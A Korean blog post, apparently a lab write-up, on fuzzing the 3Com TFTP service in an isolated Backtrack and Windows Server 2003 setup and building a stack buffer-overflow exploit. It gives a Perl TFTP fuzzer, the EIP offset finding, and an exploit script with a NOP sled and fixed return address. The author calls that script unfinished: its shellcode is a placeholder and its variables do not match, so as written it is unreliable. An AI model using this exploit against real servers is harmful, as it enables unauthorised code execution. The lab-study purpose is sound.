본문 바로가기

Security/Bug Hunting

[Fuzzing] 3 Com Tftp Fuzzing && Exploit

※ 주의사항

아래 공격 코드는 연구 목적으로 작성된 것이며, 허가 받지 않은 공간에서는 테스트를 절대 금지합니다.

악의 적인 목적으로 이용할 시 발생할 수 있는 법적 책임은 자신한테 있습니다. 이는 해당 글을 열람할 때 동의하였다는 것을 의미합니다.


1. 실습 환경 구성

구분O/SIP Address
AttackerBacktrack 5 R3192.168.112.139
Victimwindows Server 2003192.168.112.131
[표 1-1] 환경 구성

2. 실습 시나리오



[그림 2-1] 실습 시나리오

본 실습은 3Com Tftp Service 에 대한 Fuzzer를 제작하여 Fuzzing 을 수행하고 발견된 취약점을 활용하여 exploit 을 제작, 대상 서버에서 계산기를 띄우는 것이 목표이다.

3. Tftp Service Fuzzing 실습

(1) 3Com Tftp Service 에 대한 정보 습득

[그림 3-1] 3Com Tftp 서비스 및 포트 확인

[그림 3-1]은 3Com Tftp Service 에 대한 정보를 확인하는 과정으로 이를 통해 해당 서비스는 UDP/69 port 를 활용하는 것을 확인하였다.

(2) Fuzzer 제작

우선 Fuzzer를 제작하기에 앞서 해당 TFTP의 경우 기존에 작성했던 vulnserver.exe와는 달리 TFTP Protocol 을 이용하여 서로간의 데이터가 오가기 때문에 Fuzzer를 제작하기 위해서는 TFTP 자체에 대해 알아보고 넘어가야 한다.

① OPcode 2Byte② File name String③ 0 1Byte④ Mode String⑤ 0 1Byte

◆ OPcode : Read Request(1), Write Request(2) 등이 있으나 본 문서에서는 Client 에서 Server 데이터를 써서 Overflow 일으키고자 하므로 Write Request(2) 를 사용할 것이다.
◆ File name
◆ Mode : Data 

이러한 정보를 토대로 perl 을 활용한 Fuzzer를 제작해보도록 하겠다.

[그림 3-2] 취약점 위치 확인을 위한 패턴 생성

/pentest/exploits/framwork/tools/pattern_create.rb 500

[그림 3-2]는 BOF 취약점의 위치를 판별하기 위해 pattern_creaste.rb를 통해 500 문자로 이루어진 패턴을 생성하는 것이다.

[그림 3-3] tftp_fuzzer.pl 소스 코드

#!/usr/bin/perl
use IO::Socket;
$pattern = "pattern_create.rb 를 통해 제작한 pattern 입력";
# tftp header에서 ④에 해당.

$target = IO::Socket::INET->new(
                Proto=>'udp',
                PeerAddr=>$ARGV[0],
                PeerPort=>$ARGV[1])
                or die "Cannot connect to $ARGV[0] on port $ARGV[1]";
# udp Socket 생성

$pattern = "\x00".$pattern;
# tftp header 에서 ③에 해당.
$pattern = "\x41".$pattern;
# tftp header 에서 ②에 해당.
$pattern = "\x00\x02".$pattern;
# tftp header 에서 ①에 해당
$pattern = $pattern."\x00";
# tftp header 에서 ⑤에 해당.

print $target $pattern;
# tftp 접속 및 packet 전송

close($target);
exit;

[그림 3-3] 은 스크립트 언어인 perl을 활용하여 [그림 3-2]에서 생성한 패턴과 함께 tftp header 의 구조로 전송하고자 하는 packet을 만든 후 이를 tftp server로 전송하는 스크립트를 제작한 것이다.
이제부터는 [그림 3-3]을 통해 제작한 스크립트를 활용하여 tftp server의 취약점 위치를 확인할 것이다.

[그림 3-4] Immunity debugger와 3Com Tftp Service와의 연결

[그림 3-4]와 같이 fuzzing 전에 EIP의 주소 등과 같은 정보를 얻기위해 [File] - [Attach] 메뉴를 활용하여 3Com Tftp Service에 Attack 한다.


[그림 3-5] tftp_fuzzer.pl 을 통한 Fuzzing

tftp_fuzzer.pl 을 활용하여 192.168.112.137 의 udp/69 port 로의 Fuzzing을 수행한다.


[그림 3-6] Fuzzing 결과

Fuzzing 의 결과로 0x38704137 이라는 결과가 나왔으며 이를 이제 패턴의 어디에 위치해 있는지 확인해보자.

[그림 3-7] 취약점 위치

[그림 3-7]에서는 취약점의 위치는 473번째라고 나왔지만 실제로 [그림 3-3]에서 코드를 작성할때 Tftp Header의 구조를 지키기 위해 4개의 문자를 더 붙여주었다.
즉 실제로는 504개의 문자가 들어갔기 때문에 473-4를 하여 469번째 패턴에서 BOF가 일어났다고 할 수 있다.

(3) exploit 제작(미완.......ㅠㅠ)

# tftp_exploit.pl
# !/usr/bin/perl
use IO::Socket;

# shell code
$shell_code ="계산기 코드"

$target = IO::Socket::INET->new(Proto=>'udp',
                                PeerAddr=>$ARGV[0],
                                PeerPort=>$ARGV[1])
                            or die "Cannot connect to $ARGV[0] on port $ARGV[1]";
$nop = "\x90" x 6;
$eip = pack('V', 0x77D09353);
$packet = "\x00".$packet;
$packet = "\x41".$packet;
$packet = "\x00\x02".$packet;
$packet = $packet.$nop;
$packet = $packet.$eip;
$packet = $packet.$shellcode;
$packet = $packet."\x00";
print $target $packet;

close($target);
exit;
~        





'Security > Bug Hunting' 카테고리의 다른 글

[Fuzzing] vulnserver.exe Fuzzing && Exploit  (0) 2014.07.28
Bug Bounty Site  (0) 2014.03.30